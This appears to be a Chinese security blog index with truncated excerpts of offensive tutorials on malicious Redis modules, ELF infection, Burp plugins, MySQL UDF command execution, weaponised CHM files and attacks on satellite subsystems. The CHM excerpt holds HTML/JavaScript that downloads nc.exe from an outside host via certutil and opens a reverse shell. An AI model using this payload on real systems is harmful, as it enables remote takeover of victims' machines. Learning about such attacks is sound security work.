Redis编写自定义模块

简介 Redis自定义模块允许用户扩展Redis的功能,添加新的命令和数据类型。这种灵活性使得Redis不仅仅是一个键值存储,还可以用于更复杂的应用场景。然而,这也带来了潜在的安全风险,攻击者可能利用这些自定义模块执行恶意命令。下面是关于Redis自定义模块执行命令的介绍和漏洞利用方法。 Redis自定义模块介绍 Redis自定义模块是从Redis 4.0版本开始引入的,允许开发者编写自己的模块并加载到Redis中。模块可以用C语言编写,并编译成动态库(.so文件),然后通过Redis命令加载。 创建模块文件:编写一个简单的C语言文件,例如malicious_module.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include "redismodule.h" int MaliciousCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { RedisModule_ReplyWithSimpleString(ctx, "Malicious code executed!"); return REDISMODULE_OK; } int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (RedisModule_Init(ctx, "malicious_module", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR) { return REDISMODULE_ERR; } if (RedisModule_CreateCommand(ctx, "malicious_command", MaliciousCommand, "write", 1, 1,…

ELF 二进制文件感染

简介 ELF(Executable and Linkable Format)是一种用于存储和描述可执行文件、共享库和对象文件的二进制文件格式。这种格式广泛应用于各种类 UNIX 和类 UNIX 操作系统,一般格式为可执行二进制文件、共享目标文件(.o)、共享库/共享对象(.so)、内核模块(.ko)和固件(.bin,包含嵌入在 ELF 中的程序或应用程序特定的代码和数据)。 ELF 格式的主要特点如下: 结构简单:ELF 格式的基本结构包括 ELF 头、程序头表、程序段表和数据段表等。这使得 ELF 格式的结构简单易懂,可以方便地处理和分析 可移性:ELF 格式支持跨平台和跨架构的可移性。这使得 ELF 格式可以在不同的操作系统和架构上运行,并且可以方便地进行链接和共享库 灵活性:ELF 格式提供了丰富的扩展机制,可以用于支持各种特定的功能和需求。这使得 ELF 格式可以满足各种应用程序和库的需求 可扩展性:ELF 格式支持动态链接和加载,可以用于加载和链接动态库。这使得 ELF 格式可以支持动态链接和加载,并且可以方便地进行动态库的更新和维护 ELF格式的主要组成部分包括以下几部分: ELF头:ELF头包含了整个ELF文件的基本信息,如文件类型、机器架构、操作系统ABI版本、程序入口点等 程序头表:程序头表包含了每个程序段的基本信息,如段名称、段类型、段大小、段地址等。程序头表可以包含任意数量的程序头,用于描述程序中的各种段 程序段表:程序段表包含了每个程序段的基本信息,如段名称、段类型、段大小、段地址等。程序段表可以包含任意数量的程序段,用于描述程序中的各种段 数据段表:数据段表包含了每个数据段的基本信息,如段名称、段类型、段大小、段地址等。数据段表可以包含任意数量的数据段,用于描述程序中的各种数据段 ELF格式的详细信息可以参考ELF文件格式规范,如《System V Application Binary Interface》和《UNIX System V Release 4》等。 在这篇文章中,我们将了解 ELF二进制文件感染。 ELF 二进制文件感染 将恶意代码插入到 ELF 二进制文件 中通常被称为 “ELF 二进制文件感染”。高质量的…

Burp Suite 插件开发(一)

Burp Suite 介绍 Burp Suite是一款用于攻击和测试Web应用程序的集成平台,它包含了多种工具,如代理、重发器、扫描器、爬虫、Intruder、Repeater等,可以协同工作,共享信息,支持各种攻击和检测方法。 Burp Suite的插件是一种扩展Burp Suite功能的方式,可以通过Burp Extender模块来安装和管理。插件可以由社区用户创建和维护,也可以由自己编写。插件可以修改HTTP请求和响应,发送额外的HTTP请求,自定义Burp Suite的界面和功能,添加额外的扫描检查,访问Burp Suite的信息等。 在本文中,我们将介绍 Burp Suite 插件,并使用 IDEA 工具编写简单的自定义插件。 配置环境 首先我们需要安装 IDE 工具,可以下载 IntelliJ IDEA、Atom、Netbeans、Eclipse 等。 Java 环境: Java 环境我们将在后续文章中以使用 IDEA 工具编写为例介绍。  Python 环境: Burp Suite 依赖 Jython 来支持 Python,需要下载 Jython 并配置 Burp Suite 位置。 在 Burp Suite 页面加载 Python 插件需要选择扩展类型为 Python 并指定 Python 插件文件。 API Extender…

手动编写 UDF 文件

MySQL UDF 简介 MySQL UDF (User Defined Function) 是一种可以扩展 MySQL 功能的机制,通过编写 C 或 C++ 代码,可以创建自定义的函数,甚至执行系统命令。 要利用 MySQL UDF 执行系统命令,需要满足以下三个条件: 拥有 MySQL 的 root 权限,可以创建和删除函数 拥有 MySQL 服务的文件权限,可以将 UDF 文件写到 MySQL 插件目录 UDF 文件是针对目标系统的平台和架构编译的,否则会出现错误 编写代码 在上文提到,利用 UDF 执行系统命令需要针对目标系统的平台和架构编译,比如目标 MySQL 服务器为 Windows 系统则需要 UDF 文件后缀为 .dll,Linux 系统则需要 UDF 文件后缀为 .so。 本次选择以 Kali Linux 系统为例,编译代码前首先需要安装开发库,Kali Linux 安装命令为: ┌──(root㉿kali)-[~] └─# apt…

编写恶意CHM

简介 Microsoft Compiled HTML Help,或者简称为CHM,是一种由微软开发的在线帮助文件格式,它由一组HTML页面、一个索引和其他导航工具组成。CHM文件是压缩的,并以二进制格式部署,扩展名为.chm,代表已编译的HTML。这种格式通常用于软件文档。 下面我们将介绍手动编写和使用PowerShell武器化CHM。 编写CHM 为了编写CHM,我们首先需要下载HTML Help Workshop。 安装运行后会显示空白界面。 我们需要新建一个项目,为此,点击左上方的空白文件按钮新建项目。 点击OK按钮并继续下一步后,我们会看到需要填写创建的文件名和路径,这里以桌面路径,文件命为nc.hhp为例。 点击下一步后会询问包含的文件,这里选择HTML files。 然后我们需要编写HTML文件,以nc.html为例: <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Example</title> <script type="text/javascript"> function downloadAndRun() { var command = "certutil -urlcache -split -f http://192.168.8.145/nc.exe nc.exe && nc.exe -e cmd 192.168.8.145 4444"; var wsh = new ActiveXObject("WScript.Shell"); wsh.Run(command, 0, false); } </script> </head> <body…

关于卫星的黑客攻击方法(一)

简介 卫星黑客攻击是指利用网络手段对卫星或卫星通信系统进行破坏、干扰或窃取的行为。卫星黑客攻击可能会对全球的军事、政治、经济和社会造成严重的影响和威胁。卫星黑客攻击的方式有多种,例如利用卫星的漏洞或设计缺陷进行入侵、篡改或控制,或者利用卫星的信号进行拦截、伪造或干扰。 下面我们将了解卫星的各个系统,以便后续的攻击。 ADCS 卫星的ADCS(姿态确定和控制系统)是一种用于控制和维持卫星在轨道上的期望方向和位置的系统。ADCS包括传感器、执行器、控制器和算法,它们共同实现对卫星的姿态测量、姿态控制、姿态估计和姿态指令等功能。 关于针对ADCS的攻击方法,大致如下: 传感器攻击:攻击者试图操纵或欺骗用于姿态确定的传感器。例如,他们可以向传感器照射强光或激光以导致错误读数,或者使用电磁辐射干扰传感器信号。 执行器攻击:攻击者可能针对负责姿态控制的执行器。攻击者可能会尝试禁用或篡改执行器,从而阻止卫星调整其姿态或导致其偏离预定路线。 通信攻击:如果 ADCS 依赖于来自地面控制或其他来源的外部命令或数据,攻击者就可以拦截或操纵通信通道。他们可能会注入错误命令或更改发送到 ADCS 的数据,从而导致错误的姿态调整或控制。 软件攻击:ADCS 系统通常利用软件来处理传感器数据、实施控制算法和管理操作。攻击者可能会利用软件漏洞或注入恶意代码来损害 ADCS 的完整性和功能。 C&DHS 卫星的C&DHS(总线以命令和数据处理系统)是一种用于管理卫星并控制航天器的所有功能的系统。 C&DHS在普通卫星的架构如下图所示: C&DHS使用星载控制器 (OBC,On-Board Controller),该控制器采用计算平台,即微控制器和存储器,类似于地面嵌入式设备。在该系统上执行的软件称为星载软件(OBSW,On-Board Software),它实现远程控制服务器,通常基于实时操作系统(RTOS, Real-Time Operating System),类似于地面实时应用程序。OBSW的主要任务是处理TC/TM流量、提供数据存储、调度命令、执行自主操作以及更新程序代码。 关于针对C&DHS的攻击方法大致如下: 命令注入:攻击者将未经授权的命令注入系统。如果他们能够访问通信通道或利用命令接收过程中的漏洞,则可以发送恶意或未经授权的命令,从而破坏或损害卫星的运行。 数据操纵:攻击者可以瞄准数据系统并尝试操纵或破坏正在收集、处理或传输的数据。这可能会导致分析和决策的不正确,以及丧失任务目标。 软件利用:如果C&DHS系统存在软件漏洞,攻击者则可以利用这些漏洞执行未授权访问、任意代码执行或破坏系统的正常运行。这可能包括缓冲区溢出攻击、代码注入或提权。 物理攻击:在某些情况下,攻击者可能会物理篡改 C&DHS 硬件或基础设施。这可能涉及更换组件、修改电路,或引入可以拦截并修改命令、数据流的恶意设备。 TT&C TT&C子系统提供卫星(空间段)和地面设施(控制或用户段)之间的连接。TT&C功能的目的是确保卫星正确运行。作为卫星总线的一部分,无论任务类型如何,所有卫星都需要TT&C子系统。TT&C子系统有三个特定的功能: 遥测:收集、处理所有航天器子系统的健康和状态数据,并将这些数据传输到地面的控制部分。这不仅需要航天器上的遥测系统,还需要世界各地的地面站全球网络,除非卫星空间网络包括卫星间链路,可以将数据中继到指定的卫星并向下链接到适当的地面站。各个子系统发送的不同健康信息和状态信息由遥测输入接口收集,返回到C&DHS处理器,缓冲,加密,最后发送到地面站。 测距测速:通过测量卫星和地面站之间的信号往返时间和多普勒频移,计算出卫星和地面站的距离和径向速度,确定卫星的位置和运动状态。 指挥和控制:接收和处理卫星连续运行的命令,通常需要地面系统配合。虽然先进的航天器设计已经朝着“自主操作”的方向发展,许多控制功能可以在机载上实现自动化,但是在紧急情况下,依旧需要地面干预。 在处理命令时,来自命令接收器的串行命令位流由命令输入接口接收,其中相关命令被提取,然后通过串行或并行接口发送到相应的子系统,如下图所示: EPS 卫星的EPS(电力系统)是一种用于为卫星提供电能的系统,包括以下几个部分: 电源:负责将太阳能或其他能源转换为电能,如太阳能电池板、热电发电机等 。 电池:负责在卫星进入阴影区或需要额外电能时储存和释放电能,如锂离子电池、镍氢电池等 。 电力调节和分配单元(PDU):负责对卫星的输入和输出电压进行稳压、限流和切换,以及对卫星的各个分系统和有效载荷进行分配和控制 。 电力管理和控制单元(PMCU):负责对卫星的电力系统进行监测、控制和保护,以及与卫星的其他系统进行通信和协调 。 PDHS 卫星的PDHS(有效载荷数据处理系统)是一种用于处理卫星的有效载荷数据的系统,包括以下几个部分: 有效载荷数据处理单元(PDU):负责对卫星的有效载荷数据进行采集、压缩、编码、加密和存储,以及与卫星的其他系统进行通信和协调 。 有效载荷数据传输单元(PTU):负责对卫星的有效载荷数据进行调制、多路复用、放大和发送,以及与地面站进行数据交换…